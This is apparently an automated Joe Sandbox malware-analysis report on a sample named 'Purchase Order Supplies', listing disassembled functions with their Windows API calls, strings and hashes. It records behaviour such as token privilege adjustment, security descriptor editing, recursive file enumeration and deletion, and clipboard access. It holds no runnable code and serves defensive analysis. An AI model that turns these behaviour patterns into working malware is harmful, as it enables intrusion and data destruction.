Opcode Fuzzy Hash: 5d4de1692b6aab8666bc489a3c850fa6d22e5fb3a889865dc143daab9fcdedbb
Instruction Fuzzy Hash: B251E331208345BBD700EF61DC8AFAE73A9AF84B00F008619F656D22D1DF74D906AB72

Function 00CCB9F1 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 223COMMON

Download Yara Rule

APIs

Part of subcall function 00CCBEC3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00CCBF0F
Part of subcall function 00CCBEC3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00CCBF3C
Part of subcall function 00CCBEC3: GetLastError.KERNEL32 ref: 00CCBF49

_memset.LIBCMT ref: 00CCBA34
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00CCBA86
CloseHandle.KERNEL32(?), ref: 00CCBA97
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00CCBAAE
GetProcessWindowStation.USER32 ref: 00CCBAC7
SetProcessWindowStation.USER32(00000000), ref: 00CCBAD1
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00CCBAEB

Part of subcall function 00CCB8B0: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00CCB9EC), ref: 00CCB8C5
Part of subcall function 00CCB8B0: CloseHandle.KERNEL32(?,?,00CCB9EC), ref: 00CCB8D7

Strings

default, xrefs: 00CCBAE6
winsta0, xrefs: 00CCBAA9
, xrefs: 00CCBA43

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: 66b9204eb60cd407683338bc24098465deae792f7b45a6a42f902f1b54ad7ad3
Instruction ID: 05574b5cb5f28eb2cd9efeefec461f504a1fde5f78f7d322c7f47d2cb72ad2f5
Opcode Fuzzy Hash: 66b9204eb60cd407683338bc24098465deae792f7b45a6a42f902f1b54ad7ad3
Instruction Fuzzy Hash: 40813571900209BFDF119FE4CD46EEEBBB9EF08304F148559F925A62A1DB318E15EB21

Function 00CE2044 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75728FB0,?,00000000), ref: 00CE2065
_wcscmp.LIBCMT ref: 00CE207A
_wcscmp.LIBCMT ref: 00CE2091
GetFileAttributesW.KERNEL32(?), ref: 00CE20A3
SetFileAttributesW.KERNEL32(?,?), ref: 00CE20BD
FindNextFileW.KERNEL32(00000000,?), ref: 00CE20D5
FindClose.KERNEL32(00000000), ref: 00CE20E0
FindFirstFileW.KERNEL32(*.*,?), ref: 00CE20FC
_wcscmp.LIBCMT ref: 00CE2123
_wcscmp.LIBCMT ref: 00CE213A
SetCurrentDirectoryW.KERNEL32(?), ref: 00CE214C
SetCurrentDirectoryW.KERNEL32(00D43A68), ref: 00CE216A
FindNextFileW.KERNEL32(00000000,00000010), ref: 00CE2174
FindClose.KERNEL32(00000000), ref: 00CE2181
FindClose.KERNEL32(00000000), ref: 00CE2191

Strings

*.*, xrefs: 00CE20F7

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: 7d06df9431d05e30e736feb179ef1234af50b8b533c7d05baa84335d5bc21ca4
Instruction ID: 7a2293e13bd9c1008a338a334235f1697e21b9c2487650f00b99a448aaf82025
Opcode Fuzzy Hash: 7d06df9431d05e30e736feb179ef1234af50b8b533c7d05baa84335d5bc21ca4
Instruction Fuzzy Hash: F9319C329003597ECB14ABA5EC49FDE73AD9F09320F144056E921E2190DB74DF89CA75

Function 00CFF122 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 178windowfilenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00CAAF7D: GetWindowLongW.USER32(?,000000EB), ref: 00CAAF8E

DragQueryPoint.SHELL32(?,?), ref: 00CFF14B

Part of subcall function 00CFD5EE: ClientToScreen.USER32(?,?), ref: 00CFD617
Part of subcall function 00CFD5EE: GetWindowRect.USER32(?,?), ref: 00CFD68D
Part of subcall function 00CFD5EE: PtInRect.USER32(?,?,00CFEB2C), ref: 00CFD69D

SendMessageW.USER32(?,000000B0,?,?), ref: 00CFF1B4
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00CFF1BF
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00CFF1E2
_wcscat.LIBCMT ref: 00CFF212
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00CFF229
SendMessageW.USER32(?,000000B0,?,?), ref: 00CFF242
SendMessageW.USER32(?,000000B1,?,?), ref: 00CFF259
SendMessageW.USER32(?,000000B1,?,?), ref: 00CFF27B
DragFinish.SHELL32(?), ref: 00CFF282
NtdllDialogWndProc_W.NTDLL(?,00000233,?,00000000,?,?,?), ref: 00CFF36D

Strings

@GUI_DROPID, xrefs: 00CFF2A2
@GUI_DRAGFILE, xrefs: 00CFF31C
@GUI_DRAGID, xrefs: 00CFF2E1

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientDialogFinishLongNtdllPointProc_Screen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 2166380349-3440237614
Opcode ID: 33c18ac069b589527d94b0e752004ed3d5d15d3e9fbb44f30245f3af11a94ec8
Instruction ID: c56367625519650ffd479b7945b86caeae4a1144fd13ffa242302ed0035bd582
Opcode Fuzzy Hash: 33c18ac069b589527d94b0e752004ed3d5d15d3e9fbb44f30245f3af11a94ec8
Instruction Fuzzy Hash: 5B614971408304AFC710EF64DC85EABBBF9FF89750F004A1DF695922A1DB709A49DB62

Function 00CE219F Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75728FB0,?,00000000), ref: 00CE21C0
_wcscmp.LIBCMT ref: 00CE21D5
_wcscmp.LIBCMT ref: 00CE21EC

Part of subcall function 00CD7606: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00CD7621

FindNextFileW.KERNEL32(00000000,?), ref: 00CE221B
FindClose.KERNEL32(00000000), ref: 00CE2226
FindFirstFileW.KERNEL32(*.*,?), ref: 00CE2242
_wcscmp.LIBCMT ref: 00CE2269
_wcscmp.LIBCMT ref: 00CE2280
SetCurrentDirectoryW.KERNEL32(?), ref: 00CE2292
SetCurrentDirectoryW.KERNEL32(00D43A68), ref: 00CE22B0
FindNextFileW.KERNEL32(00000000,00000010), ref: 00CE22BA
FindClose.KERNEL32(00000000), ref: 00CE22C7
FindClose.KERNEL32(00000000), ref: 00CE22D7

Strings

*.*, xrefs: 00CE223D

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: a90366583bd5572f72e0a1c7e7b39276b530eab48e24693e8a7727dbecec9175
Instruction ID: 73573641e29b14b1e7e2c4c17008165f12eedf8a4cc2d6393f43288aef4ef1cb
Opcode Fuzzy Hash: a90366583bd5572f72e0a1c7e7b39276b530eab48e24693e8a7727dbecec9175
Instruction Fuzzy Hash: 5C31DE3290035A7ECB20ABA5EC49FDE73AD9F05330F144151EA20E2190EB30DB89DA65

Function 00C96BBC Relevance: 21.9, APIs: 5, Strings: 7, Instructions: 891COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C96C22
_memmove.LIBCMT ref: 00C96D9A

Strings

^, xrefs: 00C96BFB
Q\E, xrefs: 00C97548
], xrefs: 00C96C04
\, xrefs: 00C96BEE
\, xrefs: 00C96C8B
\, xrefs: 00D10A25
[, xrefs: 00C96C82

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _memmove_memset
String ID: Q\E$[$\$\$\$]$^
API String ID: 3555123492-286096704
Opcode ID: 05f9e42816dc90a222a846d2fb2a0a8ef92c949700124fc5e503ffad042409bf
Instruction ID: 0d3b7c9ded534d48b96687c12aa16305eb53be6db3490a9ecadab40ce995c8f7
Opcode Fuzzy Hash: 05f9e42816dc90a222a846d2fb2a0a8ef92c949700124fc5e503ffad042409bf
Instruction Fuzzy Hash: AB72AE71D04219DBDF24CF98C9846EDBBB1FF44314F2881A9E855AB381D774AE81DBA0

Function 00CFECBC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windownativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00CAAF7D: GetWindowLongW.USER32(?,000000EB), ref: 00CAAF8E

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00CFED0C
GetFocus.USER32 ref: 00CFED1C
GetDlgCtrlID.USER32(00000000), ref: 00CFED27
_memset.LIBCMT ref: 00CFEE52
GetMenuItemInfoW.USER32 ref: 00CFEE7D
GetMenuItemCount.USER32(00000000), ref: 00CFEE9D
GetMenuItemID.USER32(?,00000000), ref: 00CFEEB0
GetMenuItemInfoW.USER32(00000000,-00000001,00000001,?), ref: 00CFEEE4
GetMenuItemInfoW.USER32(00000000,?,00000001,?), ref: 00CFEF2C
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00CFEF64
NtdllDialogWndProc_W.NTDLL(?,00000111,?,?,?,?,?,?,?), ref: 00CFEF99

Strings

0, xrefs: 00CFEE4A

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlDialogFocusLongMessageNtdllPostProc_RadioWindow_memset
String ID: 0
API String ID: 3616455698-4108050209
Opcode ID: f26dcb28b67fef2d94f64791d3fa3183ef05ddbba05a923f1955e14d4c63e946
Instruction ID: 51f63d096ab7d1745bcfc8033d491a3213990401ef3d2c67657db8277c7e494b
Opcode Fuzzy Hash: f26dcb28b67fef2d94f64791d3fa3183ef05ddbba05a923f1955e14d4c63e946
Instruction Fuzzy Hash: C2819E71108309AFDB50CF54D884ABBBBE5FB88354F00492DFAA5972A1D730DA05DB63

Function 00CCB398 Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCB8E7: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 00CCB903
Part of subcall function 00CCB8E7: GetLastError.KERNEL32(?,00CCB3CB,?,?,?), ref: 00CCB90D
Part of subcall function 00CCB8E7: GetProcessHeap.KERNEL32(00000008,?,?,00CCB3CB,?,?,?), ref: 00CCB91C
Part of subcall function 00CCB8E7: RtlAllocateHeap.NTDLL(00000000,?,00CCB3CB), ref: 00CCB923
Part of subcall function 00CCB8E7: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 00CCB93A

Part of subcall function 00CCB982: GetProcessHeap.KERNEL32(00000008,00CCB3E1,00000000,00000000,?,00CCB3E1,?), ref: 00CCB98E
Part of subcall function 00CCB982: RtlAllocateHeap.NTDLL(00000000,?,00CCB3E1), ref: 00CCB995
Part of subcall function 00CCB982: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00CCB3E1,?), ref: 00CCB9A6

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00CCB3FC
_memset.LIBCMT ref: 00CCB411
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00CCB430
GetLengthSid.ADVAPI32(?), ref: 00CCB441
GetAce.ADVAPI32(?,00000000,?), ref: 00CCB47E
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00CCB49A
GetLengthSid.ADVAPI32(?), ref: 00CCB4B7
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00CCB4C6
RtlAllocateHeap.NTDLL(00000000), ref: 00CCB4CD
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00CCB4EE
CopySid.ADVAPI32(00000000), ref: 00CCB4F5
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00CCB526
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00CCB54C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00CCB560

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: HeapSecurity$AllocateDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 2347767575-0
Opcode ID: 3dde48e1b72596bd370823c02609bb17512c2f1578e76f2b0530eb98b77455b7
Instruction ID: 881ddde4403c27e97e8ecf31ecdafc470740b6402c2219b45522647743d2705b
Opcode Fuzzy Hash: 3dde48e1b72596bd370823c02609bb17512c2f1578e76f2b0530eb98b77455b7
Instruction Fuzzy Hash: B551F77190020AABDF14DFA5DC46EEEBB79BF08304F148129E925A6291DB35DE06DB60

Function 00CD6E4A Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 85fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C931B8: GetFullPathNameW.KERNEL32(00000000,00000104,?,?), ref: 00C931DA

Part of subcall function 00CD7C0C: GetFileAttributesW.KERNEL32(?,00CD6A7B), ref: 00CD7C0D

_wcscat.LIBCMT ref: 00CD6E7E
__wsplitpath.LIBCMT ref: 00CD6E99
FindFirstFileW.KERNEL32(?,?), ref: 00CD6EAE
_wcscpy.LIBCMT ref: 00CD6EDD
_wcscat.LIBCMT ref: 00CD6EEF
_wcscat.LIBCMT ref: 00CD6F01
DeleteFileW.KERNEL32(?), ref: 00CD6F0E
FindNextFileW.KERNEL32(00000000,00000010), ref: 00CD6F22
FindClose.KERNEL32(00000000), ref: 00CD6F3D

Strings

\*.*, xrefs: 00CD6E78

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: File$Find_wcscat$AttributesCloseDeleteFirstFullNameNextPath__wsplitpath_wcscpy
String ID: \*.*
API String ID: 2643075503-1173974218
Opcode ID: e06c111f82530a926f62f3bc3331fc1837e2f528478e8685d7ce6957be3ebb9b
Instruction ID: df132c5cb81f0b66bab6ff1df938a23d1afc86a48b3d3b4e101f3d0061dd5d32
Opcode Fuzzy Hash: e06c111f82530a926f62f3bc3331fc1837e2f528478e8685d7ce6957be3ebb9b
Instruction Fuzzy Hash: 53218F72409384BEC610EBA498859DBBBDC9B99214F444E1BF9E4C3252EB34D64DC7A2

Function 00CE7294 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00CE72BB
EmptyClipboard.USER32 ref: 00CE72C1
GlobalAlloc.KERNEL32(00000002,?), ref: 00CE72D6
CloseClipboard.USER32 ref: 00CE7375

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 703032528b9ad5ba9422dd293302430c4eebae14351279053bc8318ae1e46ae3
Instruction ID: 48a7d4ea57b81352cb61d2984120c05235000eaf50e63a69ae30907f38765380
Opcode Fuzzy Hash: 703032528b9ad5ba9422dd293302430c4eebae14351279053bc8318ae1e46ae3
Instruction Fuzzy Hash: A0219F31604311AFDB10AF25DC59B6E7BA9FF44721F00811AF94ADB3A1DF74E9019BA4

Function 00CEC604 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 232COMMON

Download Yara Rule

APIs

Part of subcall function 00CCA857: CLSIDFromProgID.COMBASE ref: 00CCA874
Part of subcall function 00CCA857: ProgIDFromCLSID.COMBASE(?,00000000), ref: 00CCA88F
Part of subcall function 00CCA857: lstrcmpiW.KERNEL32(?,00000000), ref: 00CCA89D
Part of subcall function 00CCA857: CoTaskMemFree.COMBASE(00000000), ref: 00CCA8AD

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 00CEC6AD
_memset.LIBCMT ref: 00CEC6BA
_memset.LIBCMT ref: 00CEC7D8
CoCreateInstanceEx.COMBASE(?,00000000,00000015,?,00000001,00000001), ref: 00CEC804
CoTaskMemFree.COMBASE(?), ref: 00CEC80F

Strings

NULL Pointer assignment, xrefs: 00CEC85D

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: 001b935e82d1897811830b9575b2b58c25cbb19ca34b2725de0956e31c183858
Instruction ID: 1b37a99ae92291a4f6b84773559d10708ad7cccb30a36789cfc8fd4b064db79a
Opcode Fuzzy Hash: 001b935e82d1897811830b9575b2b58c25cbb19ca34b2725de0956e31c183858
Instruction Fuzzy Hash: 33913971D00228ABDF20DFA5DC85EDEBBB9AF08710F20412AF519A7291DB705A45DFA0

Function 00CE24A9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9CAEE: _memmove.LIBCMT ref: 00C9CB2F

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 00CE24F6
Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00CE2526
_wcscmp.LIBCMT ref: 00CE253A
_wcscmp.LIBCMT ref: 00CE2555
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00CE25F3
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00CE2609

Strings

*.*, xrefs: 00CE24D8

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
String ID: *.*
API String ID: 713712311-438819550
Opcode ID: 4c6be6ddbe948bdb7634e933e5b07a4b33c0d71f5b4366153e683aee66e36980
Instruction ID: 9155f5090c07da91fb9b9690493270ea72d73deb4b359b447f34493366dedd10
Opcode Fuzzy Hash: 4c6be6ddbe948bdb7634e933e5b07a4b33c0d71f5b4366153e683aee66e36980
Instruction Fuzzy Hash: 8041807190525AAFCF11DFA5CD49BEEBBB8FF08310F144456F425A2190EB309B84DB60

Function 00C98CA0 Relevance: 11.6, APIs: 1, Strings: 5, Instructions: 1058COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00C98FDD
VUUU, xrefs: 00C9900A
VUUU, xrefs: 00D1C736
VUUU, xrefs: 00C98FCB
ERCP, xrefs: 00C98D68

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID:
String ID: ERCP$VUUU$VUUU$VUUU$VUUU
API String ID: 0-1546025612
Opcode ID: 4822fe1e9718dea5fa9dd09211f52635aa9c87757973aa45e092ef2a61ceaccf
Instruction ID: ac11b49258a0ee0186813c68267ae4a417499c57e9d4cfc1ee4f681f0ba9321b
Opcode Fuzzy Hash: 4822fe1e9718dea5fa9dd09211f52635aa9c87757973aa45e092ef2a61ceaccf
Instruction Fuzzy Hash: 82926C75E0021A9BDF24CF58D8487EDB7B1FB54314F1451AAD869AB280EB709EC1CFA1

Function 00C98530 Relevance: 11.0, APIs: 7, Instructions: 531COMMON

Download Yara Rule

APIs

Part of subcall function 00C9A2FB: _memmove.LIBCMT ref: 00C9A33D

_memmove.LIBCMT ref: 00C98672
_memmove.LIBCMT ref: 00C986C2
_memmove.LIBCMT ref: 00C98728

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
